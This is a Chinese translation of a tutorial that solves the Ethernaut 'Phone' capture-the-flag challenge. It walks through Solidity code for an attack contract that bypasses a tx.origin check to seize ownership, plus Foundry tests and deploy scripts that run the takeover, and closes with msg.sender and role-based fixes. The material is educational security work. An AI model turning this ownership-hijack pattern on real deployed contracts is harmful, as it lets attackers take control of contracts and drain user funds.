本文深入解析了Ethernaut的Phone挑战,揭示了Solidity中tx.origin
和msg.sender
的区别及其安全隐患。通过构建攻击合约并利用Foundry进行测试和部署,展示了如何利用tx.origin
漏洞篡夺合约所有权。强调在实际DeFi项目中应避免使用tx.origin
进行身份验证,并推荐使用msg.sender
或基于角色的访问控制。
在领英上关注我,获取更多区块链开发内容。
你正在看 Ethernaut 的 Phone 挑战,并且感觉有些不对劲。这个合约看起来简单得具有欺骗性,但一个关键的漏洞就隐藏在其中。这不仅仅是成为所有者的问题——而是关于理解 Solidity 中最危险的陷阱之一,这个陷阱已经让协议损失了数百万美元。
在帮助开发者应对数十个智能合约挑战之后,我看到甚至有经验的工程师也被这种模式绊倒。这里是如何破解 Phone 挑战以及为什么这个漏洞在现实世界的 DeFi 中很重要。
Phone 合约为我们提供了一个看似简单的任务:成为所有者。但是,当你检查代码时,这条路径并不是一目了然的。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Phone {
address public owner = msg.sender;
modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
乍一看,你可能会想:“我只要用我的地址调用 changeOwner()
就行了。”但这里有一个陷阱——这个函数只有在 tx.origin != msg.sender
时才起作用。
这就是大多数开发者卡住的地方。
这个挑战暴露了 Solidity 中最容易被误解的概念之一:tx.origin
和 msg.sender
之间的区别。
关键区别:
msg.sender
:当前函数的直接调用者tx.origin
:启动交易链的原始外部帐户以下是在不同情况下发生的事情:
直接调用(不起作用):
你的 EOA → Phone.changeOwner()
tx.origin = 你的 EOA
msg.sender = 你的 EOA
tx.origin == msg.sender ❌
合约调用(有效):
你的 EOA → 攻击合约 → Phone.changeOwner()
tx.origin = 你的 EOA
msg.sender = 攻击合约
tx.origin != msg.sender ✅
漏洞在于条件 tx.origin != msg.sender
——它阻止了直接调用,但允许通过中间合约进行调用。
为了利用这个漏洞,我们需要创建一个代表我们调用 changeOwner()
的中间合约。我将向你展示如何使用 Foundry——最强大的智能合约开发工具包来构建、测试和部署它。
首先,让我们设置我们的 Foundry 项目结构:
## 初始化新的 Foundry 项目
forge init phone-attack
cd phone-attack
## 安装 OpenZeppelin 以进行测试实用程序
forge install OpenZeppelin/openzeppelin-contracts
创建 src/Phone.sol
- 这是我们正在攻击的易受攻击的合约:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Phone {
address public owner;
constructor() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
创建 src/PhoneAttack.sol
:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./Phone.sol";
contract PhoneAttack {
Phone public immutable phone;
constructor(address _phoneAddress) {
phone = Phone(_phoneAddress);
}
function attack() external {
// This call will satisfy tx.origin != msg.sender
// tx.origin = EOA that called this function
// msg.sender = this contract's address
phone.changeOwner(tx.origin);
}
function attackWithCustomOwner(address newOwner) external {
// Alternative: Set any address as owner
phone.changeOwner(newOwner);
}
}
创建 test/PhoneAttack.t.sol
:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "../src/Phone.sol";
import "../src/PhoneAttack.sol";
contract PhoneAttackTest is Test {
Phone public phone;
PhoneAttack public attack;
address public owner = address(0x1);
address public attacker = address(0x2);
address public victim = address(0x3);
function setUp() public {
// Deploy contracts as owner
vm.prank(owner);
phone = new Phone();
// Deploy attack contract
attack = new PhoneAttack(address(phone));
// Verify initial state
assertEq(phone.owner(), owner);
}
function testDirectCallFails() public {
// Direct call should fail because tx.origin == msg.sender
// Owner should remain unchanged
vm.prank(attacker);
phone.changeOwner(attacker);
// Owner should remain unchanged
assertEq(phone.owner(), owner);
}
function testAttackSucceeds() public {
// Attack through contract should succeed
// Owner should now be the attacker
vm.prank(attacker);
attack.attack();
// Owner should now be the attacker
assertEq(phone.owner(), attacker);
}
function testAttackWithCustomOwner() public {
// Attack with custom owner address
// Owner should be the victim
vm.prank(attacker);
attack.attackWithCustomOwner(victim);
// Owner should be the victim
assertEq(phone.owner(), victim);
}
function testCallContext() public {
// Let's examine the call context during attack
vm.prank(attacker);
// Before attack
console.log("Before attack:");
console.log("Phone owner:", phone.owner());
// Execute attack
attack.attack();
// After attack
console.log("After attack:");
console.log("Phone owner:", phone.owner());
console.log("Attacker address:", attacker);
assertEq(phone.owner(), attacker);
}
function testMultipleAttacks() public {
// First attacker
vm.prank(attacker);
attack.attack();
assertEq(phone.owner(), attacker);
// Second attacker can also take over
address secondAttacker = address(0x4);
vm.prank(secondAttacker);
attack.attack();
assertEq(phone.owner(), secondAttacker);
}
}
## 以详细输出运行所有测试
forge test -vvv
## 运行特定测试
forge test --match-test testAttackSucceeds -vvv
## 检查 gas 使用情况
forge test --gas-report
## 生成覆盖率报告
forge coverage
预期输出:
Running 5 tests for test/PhoneAttack.t.sol:PhoneAttackTest
[PASS] testAttackSucceeds() (gas: 28394)
[PASS] testAttackWithCustomOwner() (gas: 28416)
[PASS] testCallContext() (gas: 30691)
[PASS] testDirectCallFails() (gas: 23847)
[PASS] testMultipleAttacks() (gas: 45123)
创建 script/Deploy.s.sol
:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "../src/Phone.sol";
import "../src/PhoneAttack.sol";
contract DeployScript is Script {
function run() external {
uint256 deployerPrivateKey = vm.envUint("PRIVATE_KEY");
vm.startBroadcast(deployerPrivateKey);
// Deploy Phone contract (simulate Ethernaut instance)
// Deploy attack contract
Phone phone = new Phone();
console.log("Phone deployed at:", address(phone));
console.log("Initial owner:", phone.owner());
// Deploy attack contract
PhoneAttack attack = new PhoneAttack(address(phone));
console.log("Attack contract deployed at:", address(attack));
// Execute the attack
attack.attack();
console.log("Attack executed!");
console.log("New owner:", phone.owner());
vm.stopBroadcast();
}
}
部署命令:
## 部署到本地 anvil 网络
anvil &
forge script script/Deploy.s.sol --rpc-url http://localhost:8545 --broadcast --private-key 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80
## 部署到 Sepolia 测试网
forge script script/Deploy.s.sol --rpc-url https://sepolia.infura.io/v3/YOUR_KEY --broadcast --verify --etherscan-api-key YOUR_API_KEY
创建 test/PhoneAnalysis.t.sol
以进行更深入的调查:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "../src/Phone.sol";
import "../src/PhoneAttack.sol";
contract PhoneAnalysisTest is Test {
Phone public phone;
PhoneAttack public attack;
function setUp() public {
phone = new Phone();
attack = new PhoneAttack(address(phone));
}
function testCallTracing() public {
// Enable call tracing
vm.trace(true);
address attacker = address(0x123);
vm.prank(attacker);
// This will show the complete call trace
attack.attack();
// Verify the attack worked
assertEq(phone.owner(), attacker);
}
function testGasAnalysis() public {
uint256 gasBefore = gasleft();
vm.prank(address(0x123));
attack.attack();
uint256 gasUsed = gasBefore - gasleft();
console.log("Gas used for attack:", gasUsed);
// Compare with direct call gas usage
gasBefore = gasleft();
vm.prank(address(0x456));
phone.changeOwner(address(0x456)); // This will fail but consume gas
gasUsed = gasBefore - gasleft();
console.log("Gas used for direct call:", gasUsed);
}
function testFuzzedAttacks(address randomAttacker) public {
// Fuzz testing with random addresses
vm.assume(randomAttacker != address(0));
vm.prank(randomAttacker);
attack.attack();
assertEq(phone.owner(), randomAttacker);
}
}
为什么 Foundry 非常适合这个:
主要 Foundry 命令:
## 以最大 verbosity 运行以查看调用跟踪
forge test -vvvv
## 运行模糊测试
forge test --fuzz-runs 1000
## 生成并查看覆盖率
forge coverage --report lcov
genhtml lcov.info -o coverage
对于实际的 Ethernaut 挑战:
// 获取你的 Ethernaut 实例地址
address ethernautInstance = 0x...; // 你的特定实例
// 部署攻击合约
PhoneAttack attack = new PhoneAttack(ethernautInstance);
// 执行攻击
attack.attack();
// 验证成功
Phone(ethernautInstance).owner(); // 应该是你的地址
这不仅仅是一项学术练习。tx.origin
模式已在实际攻击中被利用:
tx.origin 的问题:
// 危险模式 - 不要这样做!
modifier onlyOwner() {
require(tx.origin == owner, "Not owner");
_;
}
这种模式容易受到网络钓鱼攻击:
tx.origin
调用受害者合约始终使用 msg.sender 进行身份验证:
// 安全模式
modifier onlyOwner() {
require(msg.sender == owner, "Not owner");
_;
}
对于更复杂的场景,请使用基于角色的访问:
// 高级模式
import "@openzeppelin/contracts/access/AccessControl.sol";
contract SecureContract is AccessControl {
bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
modifier onlyAdmin() {
require(hasRole(ADMIN_ROLE, msg.sender), "Not admin");
_;
}
}
这个挑战教会了我们关于调用上下文——理解在复杂的交易链中谁在调用什么。
Transaction: 你的 EOA 启动
├── 你的 EOA 调用 AttackContract.attack()
│ ├── tx.origin = 你的 EOA
│ ├── msg.sender = 你的 EOA
│ └── AttackContract 调用 Phone.changeOwner()
│ ├── tx.origin = 你的 EOA (不变)
│ ├── msg.sender = AttackContract (直接调用者)
│ └── Condition: tx.origin != msg.sender ✅
误解:“tx.origin
更安全,因为它无法被伪造”
现实:tx.origin
可以通过社会工程和网络钓鱼来利用
误解:“msg.sender
不太可靠”
现实:msg.sender
为访问控制提供最准确的调用上下文
一旦你理解了这种模式,你就会在其他上下文中认出它:
你的 EOA → 合约 A → 合约 B → 易受攻击的合约
// tx.origin 在整个链中保持为你的 EOA
// msg.sender 在每次跳转时都会更改
// Victim thinks they're just approving a token
// But the malicious contract uses their tx.origin to drain funds
你的 EOA → “无辜的” DeFi UI → 恶意合约 → 受害者合约
在分析类似漏洞时:
静态分析:
tx.origin
用法使用 Foundry 进行动态测试:
## 测试不同的调用上下文
forge test --match-test testCallContext -vvv
## 分析 gas 使用模式
forge test --gas-report
## 使用随机地址进行模糊测试
forge test --fuzz-runs 10000 --match-test testFuzzedAttacks
高级 Foundry 分析:
// 在你的测试文件中
function testDeepCallAnalysis() public {
vm.trace(true); // 启用调用跟踪
vm.prank(attacker);
attack.attack();
// Foundry 将显示完整的调用堆栈:
// EOA -> PhoneAttack.attack() -> Phone.changeOwner()
}
手动审核清单:
tx.origin
用法Phone 挑战不仅仅是成为所有者——而是关于理解交易发起者和直接调用者之间的根本区别。这种区别对于以下方面至关重要:
msg.sender
进行身份验证tx.origin
来进行安全决策✅ 使用 msg.sender
进行访问控制
❌ 永远不要使用 tx.origin
进行身份验证
✅ 使用间接调用测试你的合约
❌ 不要假设直接调用是唯一的攻击媒介
下次你在代码库中看到 tx.origin
时,问问自己:“这是否可以通过中间合约来利用?” 你的协议的安全性取决于正确理解这个基本概念。
请记住:在 Web3 中,每一行代码都是潜在的攻击面。理解调用上下文不仅仅是解决 CTF 挑战——而是关于构建保护用户资金的协议。
- 原文链接: blog.blockmagnates.com/b...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!